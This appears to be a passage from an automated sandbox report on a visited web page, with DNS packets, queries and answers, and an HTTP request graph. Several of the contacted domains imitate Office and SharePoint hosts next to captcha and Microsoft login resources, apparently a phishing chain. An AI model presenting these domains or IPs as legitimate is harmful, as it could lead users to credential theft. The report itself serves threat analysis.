Jan 15, 2025 15:11:57.566880941 CET	52830	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:04.889450073 CET	53	52677	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:05.374480009 CET	53	58306	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:08.551856995 CET	56380	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:08.552158117 CET	52046	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:08.571876049 CET	53	56380	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:08.571896076 CET	53	52046	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:10.126955986 CET	56056	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:10.129890919 CET	56049	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:10.146177053 CET	53	56056	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:10.148710966 CET	53	56049	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:11.477498055 CET	55221	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:11.477643967 CET	63351	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:11.480748892 CET	56791	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:11.480890036 CET	53944	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:11.484368086 CET	53	55221	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:11.484860897 CET	53	63351	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:11.487710953 CET	53	56791	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:11.489274025 CET	53	53944	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.687051058 CET	57046	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:12.687179089 CET	61150	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:12.694349051 CET	53	57046	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.694566011 CET	53	60881	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.694680929 CET	53	61150	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.705813885 CET	63762	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:12.706126928 CET	58956	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:12.712563992 CET	53	63762	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.712681055 CET	53	58956	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.915719032 CET	53421	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:12.916595936 CET	52619	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:12.922373056 CET	53	53421	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.923641920 CET	53	52619	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.927758932 CET	51910	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:12.928090096 CET	56909	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:12.934473991 CET	53	51910	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:12.934715986 CET	53	56909	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:13.945247889 CET	54371	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:13.945410013 CET	55612	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:13.952637911 CET	53	54371	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:13.953043938 CET	53	55612	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:14.693268061 CET	60577	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:14.693443060 CET	59280	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:14.699856997 CET	53	60577	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:14.700745106 CET	53	59280	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:15.822458982 CET	56533	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:15.822907925 CET	52737	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:16.298098087 CET	50513	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:16.298270941 CET	58731	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:16.305294037 CET	53	50513	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:16.305824995 CET	53	58731	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:24.577879906 CET	53	57342	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:27.683548927 CET	51305	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:27.683681965 CET	52931	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:27.702807903 CET	53	52931	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:27.709151030 CET	53	51305	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:32.786464930 CET	59745	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:32.786758900 CET	60024	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:32.863075018 CET	59087	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:32.863487959 CET	54079	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:32.887291908 CET	53	59087	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:32.887849092 CET	53	54079	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:46.578735113 CET	138	138	192.168.2.7	192.168.2.255
Jan 15, 2025 15:12:46.933372974 CET	53	53295	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:47.030821085 CET	58889	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:47.031120062 CET	61572	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:12:47.039519072 CET	53	61572	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:47.192862034 CET	53	58889	1.1.1.1	192.168.2.7
Jan 15, 2025 15:12:47.394844055 CET	53	54744	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 15, 2025 15:12:01.626458883 CET	192.168.2.7	1.1.1.1	c29d	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 15:11:51.475785017 CET	192.168.2.7	1.1.1.1	0xa365	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:51.477102041 CET	192.168.2.7	1.1.1.1	0xffbe	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 15, 2025 15:11:52.542058945 CET	192.168.2.7	1.1.1.1	0xe0f1	Standard query (0)	guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:52.542201042 CET	192.168.2.7	1.1.1.1	0x44cc	Standard query (0)	guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com	65	IN (0x0001)	false
Jan 15, 2025 15:11:53.531838894 CET	192.168.2.7	1.1.1.1	0xba25	Standard query (0)	upload.wikimedia.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:53.532005072 CET	192.168.2.7	1.1.1.1	0xc436	Standard query (0)	upload.wikimedia.org	65	IN (0x0001)	false
Jan 15, 2025 15:11:54.693762064 CET	192.168.2.7	1.1.1.1	0x5a4c	Standard query (0)	upload.wikimedia.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:54.694529057 CET	192.168.2.7	1.1.1.1	0x3ad6	Standard query (0)	upload.wikimedia.org	65	IN (0x0001)	false
Jan 15, 2025 15:11:55.710470915 CET	192.168.2.7	1.1.1.1	0x46c6	Standard query (0)	documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:55.710784912 CET	192.168.2.7	1.1.1.1	0x6b14	Standard query (0)	documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	65	IN (0x0001)	false
Jan 15, 2025 15:11:56.762837887 CET	192.168.2.7	1.1.1.1	0x1459	Standard query (0)	content.powerapps.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:56.762990952 CET	192.168.2.7	1.1.1.1	0x3f7a	Standard query (0)	content.powerapps.com	65	IN (0x0001)	false
Jan 15, 2025 15:11:57.008528948 CET	192.168.2.7	1.1.1.1	0x439c	Standard query (0)	documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:57.008702993 CET	192.168.2.7	1.1.1.1	0xa6a7	Standard query (0)	documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	65	IN (0x0001)	false
Jan 15, 2025 15:11:57.566543102 CET	192.168.2.7	1.1.1.1	0x7ed9	Standard query (0)	content.powerapps.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:57.566880941 CET	192.168.2.7	1.1.1.1	0xc09f	Standard query (0)	content.powerapps.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:08.551856995 CET	192.168.2.7	1.1.1.1	0x6458	Standard query (0)	ugbllcgroupsec.info	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:08.552158117 CET	192.168.2.7	1.1.1.1	0x990f	Standard query (0)	ugbllcgroupsec.info	65	IN (0x0001)	false
Jan 15, 2025 15:12:10.126955986 CET	192.168.2.7	1.1.1.1	0xd918	Standard query (0)	office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:10.129890919 CET	192.168.2.7	1.1.1.1	0x8b82	Standard query (0)	office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	65	IN (0x0001)	false
Jan 15, 2025 15:12:11.477498055 CET	192.168.2.7	1.1.1.1	0x8ea6	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:11.477643967 CET	192.168.2.7	1.1.1.1	0x988f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:11.480748892 CET	192.168.2.7	1.1.1.1	0x2e57	Standard query (0)	js.hcaptcha.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:11.480890036 CET	192.168.2.7	1.1.1.1	0x228e	Standard query (0)	js.hcaptcha.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:12.687051058 CET	192.168.2.7	1.1.1.1	0x4d32	Standard query (0)	newassets.hcaptcha.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.687179089 CET	192.168.2.7	1.1.1.1	0x10df	Standard query (0)	newassets.hcaptcha.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:12.705813885 CET	192.168.2.7	1.1.1.1	0xc393	Standard query (0)	js.hcaptcha.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.706126928 CET	192.168.2.7	1.1.1.1	0x7d86	Standard query (0)	js.hcaptcha.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:12.915719032 CET	192.168.2.7	1.1.1.1	0x8b6a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.916595936 CET	192.168.2.7	1.1.1.1	0x6f78	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:12.927758932 CET	192.168.2.7	1.1.1.1	0x67d1	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.928090096 CET	192.168.2.7	1.1.1.1	0x8759	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:13.945247889 CET	192.168.2.7	1.1.1.1	0xc14	Standard query (0)	api2.hcaptcha.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:13.945410013 CET	192.168.2.7	1.1.1.1	0x8ae6	Standard query (0)	api2.hcaptcha.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:14.693268061 CET	192.168.2.7	1.1.1.1	0x5a11	Standard query (0)	api2.hcaptcha.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:14.693443060 CET	192.168.2.7	1.1.1.1	0xe7e5	Standard query (0)	api2.hcaptcha.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:15.822458982 CET	192.168.2.7	1.1.1.1	0xf5c1	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:15.822907925 CET	192.168.2.7	1.1.1.1	0xbdcd	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Jan 15, 2025 15:12:16.298098087 CET	192.168.2.7	1.1.1.1	0x96ca	Standard query (0)	newassets.hcaptcha.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:16.298270941 CET	192.168.2.7	1.1.1.1	0x5a9c	Standard query (0)	newassets.hcaptcha.com	65	IN (0x0001)	false
Jan 15, 2025 15:12:27.683548927 CET	192.168.2.7	1.1.1.1	0x9a58	Standard query (0)	react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:27.683681965 CET	192.168.2.7	1.1.1.1	0xbbc5	Standard query (0)	react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	65	IN (0x0001)	false
Jan 15, 2025 15:12:32.786464930 CET	192.168.2.7	1.1.1.1	0xd08e	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:32.786758900 CET	192.168.2.7	1.1.1.1	0x8d93	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 15, 2025 15:12:32.863075018 CET	192.168.2.7	1.1.1.1	0xefaf	Standard query (0)	ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:32.863487959 CET	192.168.2.7	1.1.1.1	0x5698	Standard query (0)	ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	65	IN (0x0001)	false
Jan 15, 2025 15:12:47.030821085 CET	192.168.2.7	1.1.1.1	0xe4ed	Standard query (0)	office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:47.031120062 CET	192.168.2.7	1.1.1.1	0x9aa8	Standard query (0)	office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 15:11:51.483084917 CET	1.1.1.1	192.168.2.7	0xa365	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:51.483772039 CET	1.1.1.1	192.168.2.7	0xffbe	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 15, 2025 15:11:52.551285982 CET	1.1.1.1	192.168.2.7	0xe0f1	No error (0)	guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com		142.250.186.116	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:53.539177895 CET	1.1.1.1	192.168.2.7	0xba25	No error (0)	upload.wikimedia.org		185.15.59.240	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:54.700871944 CET	1.1.1.1	192.168.2.7	0x5a4c	No error (0)	upload.wikimedia.org		185.15.59.240	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:55.763822079 CET	1.1.1.1	192.168.2.7	0x6b14	No error (0)	documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	waws-prod-yq1-017.sip.azurewebsites.windows.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:55.763822079 CET	1.1.1.1	192.168.2.7	0x6b14	No error (0)	waws-prod-yq1-017.sip.azurewebsites.windows.net	waws-prod-yq1-017-119a.canadaeast.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:55.765254021 CET	1.1.1.1	192.168.2.7	0x46c6	No error (0)	documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	waws-prod-yq1-017.sip.azurewebsites.windows.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:55.765254021 CET	1.1.1.1	192.168.2.7	0x46c6	No error (0)	waws-prod-yq1-017.sip.azurewebsites.windows.net	waws-prod-yq1-017-119a.canadaeast.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:56.770311117 CET	1.1.1.1	192.168.2.7	0x1459	No error (0)	content.powerapps.com	pa-static.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:56.770311117 CET	1.1.1.1	192.168.2.7	0x1459	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:56.770311117 CET	1.1.1.1	192.168.2.7	0x1459	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:11:56.770530939 CET	1.1.1.1	192.168.2.7	0x3f7a	No error (0)	content.powerapps.com	pa-static.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.052321911 CET	1.1.1.1	192.168.2.7	0xa6a7	No error (0)	documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	waws-prod-yq1-017.sip.azurewebsites.windows.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.052321911 CET	1.1.1.1	192.168.2.7	0xa6a7	No error (0)	waws-prod-yq1-017.sip.azurewebsites.windows.net	waws-prod-yq1-017-119a.canadaeast.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.060451031 CET	1.1.1.1	192.168.2.7	0x439c	No error (0)	documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	waws-prod-yq1-017.sip.azurewebsites.windows.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.060451031 CET	1.1.1.1	192.168.2.7	0x439c	No error (0)	waws-prod-yq1-017.sip.azurewebsites.windows.net	waws-prod-yq1-017-119a.canadaeast.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.574820995 CET	1.1.1.1	192.168.2.7	0xc09f	No error (0)	content.powerapps.com	pa-static.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.575993061 CET	1.1.1.1	192.168.2.7	0x7ed9	No error (0)	content.powerapps.com	pa-static.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.575993061 CET	1.1.1.1	192.168.2.7	0x7ed9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.575993061 CET	1.1.1.1	192.168.2.7	0x7ed9	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:11:57.575993061 CET	1.1.1.1	192.168.2.7	0x7ed9	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:08.571876049 CET	1.1.1.1	192.168.2.7	0x6458	No error (0)	ugbllcgroupsec.info		34.81.65.15	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:10.146177053 CET	1.1.1.1	192.168.2.7	0xd918	No error (0)	office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info		185.225.69.200	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:11.484368086 CET	1.1.1.1	192.168.2.7	0x8ea6	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:11.484368086 CET	1.1.1.1	192.168.2.7	0x8ea6	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:11.484860897 CET	1.1.1.1	192.168.2.7	0x988f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:11.487710953 CET	1.1.1.1	192.168.2.7	0x2e57	No error (0)	js.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:11.487710953 CET	1.1.1.1	192.168.2.7	0x2e57	No error (0)	js.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:11.489274025 CET	1.1.1.1	192.168.2.7	0x228e	No error (0)	js.hcaptcha.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:12.694349051 CET	1.1.1.1	192.168.2.7	0x4d32	No error (0)	newassets.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.694349051 CET	1.1.1.1	192.168.2.7	0x4d32	No error (0)	newassets.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.694680929 CET	1.1.1.1	192.168.2.7	0x10df	No error (0)	newassets.hcaptcha.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:12.712563992 CET	1.1.1.1	192.168.2.7	0xc393	No error (0)	js.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.712563992 CET	1.1.1.1	192.168.2.7	0xc393	No error (0)	js.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.712681055 CET	1.1.1.1	192.168.2.7	0x7d86	No error (0)	js.hcaptcha.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:12.922373056 CET	1.1.1.1	192.168.2.7	0x8b6a	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.922373056 CET	1.1.1.1	192.168.2.7	0x8b6a	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.923641920 CET	1.1.1.1	192.168.2.7	0x6f78	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:12.934473991 CET	1.1.1.1	192.168.2.7	0x67d1	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.934473991 CET	1.1.1.1	192.168.2.7	0x67d1	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:12.934715986 CET	1.1.1.1	192.168.2.7	0x8759	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:13.952637911 CET	1.1.1.1	192.168.2.7	0xc14	No error (0)	api2.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:13.952637911 CET	1.1.1.1	192.168.2.7	0xc14	No error (0)	api2.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:13.953043938 CET	1.1.1.1	192.168.2.7	0x8ae6	No error (0)	api2.hcaptcha.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:14.699856997 CET	1.1.1.1	192.168.2.7	0x5a11	No error (0)	api2.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:14.699856997 CET	1.1.1.1	192.168.2.7	0x5a11	No error (0)	api2.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:14.700745106 CET	1.1.1.1	192.168.2.7	0xe7e5	No error (0)	api2.hcaptcha.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:15.831018925 CET	1.1.1.1	192.168.2.7	0xf5c1	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:15.832159042 CET	1.1.1.1	192.168.2.7	0xbdcd	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:16.305294037 CET	1.1.1.1	192.168.2.7	0x96ca	No error (0)	newassets.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:16.305294037 CET	1.1.1.1	192.168.2.7	0x96ca	No error (0)	newassets.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:16.305824995 CET	1.1.1.1	192.168.2.7	0x5a9c	No error (0)	newassets.hcaptcha.com			65	IN (0x0001)	false
Jan 15, 2025 15:12:27.709151030 CET	1.1.1.1	192.168.2.7	0x9a58	No error (0)	react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info		185.225.69.200	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:30.432516098 CET	1.1.1.1	192.168.2.7	0xc3ef	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:30.432516098 CET	1.1.1.1	192.168.2.7	0xc3ef	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:30.432516098 CET	1.1.1.1	192.168.2.7	0xc3ef	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:31.333220005 CET	1.1.1.1	192.168.2.7	0xacef	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:31.333220005 CET	1.1.1.1	192.168.2.7	0xacef	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:31.333220005 CET	1.1.1.1	192.168.2.7	0xacef	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:32.793155909 CET	1.1.1.1	192.168.2.7	0xd08e	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:32.793155909 CET	1.1.1.1	192.168.2.7	0xd08e	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:32.793155909 CET	1.1.1.1	192.168.2.7	0xd08e	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:32.794091940 CET	1.1.1.1	192.168.2.7	0x8d93	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:32.794091940 CET	1.1.1.1	192.168.2.7	0x8d93	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 15:12:32.887291908 CET	1.1.1.1	192.168.2.7	0xefaf	No error (0)	ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info		185.225.69.200	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:12:47.192862034 CET	1.1.1.1	192.168.2.7	0xe4ed	No error (0)	office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info		185.225.69.200	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com

https:

upload.wikimedia.org

ugbllcgroupsec.info

office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info

challenges.cloudflare.com

js.hcaptcha.com

newassets.hcaptcha.com

api2.hcaptcha.com

react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info

ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info

content.powerapps.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49720	142.250.186.116	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
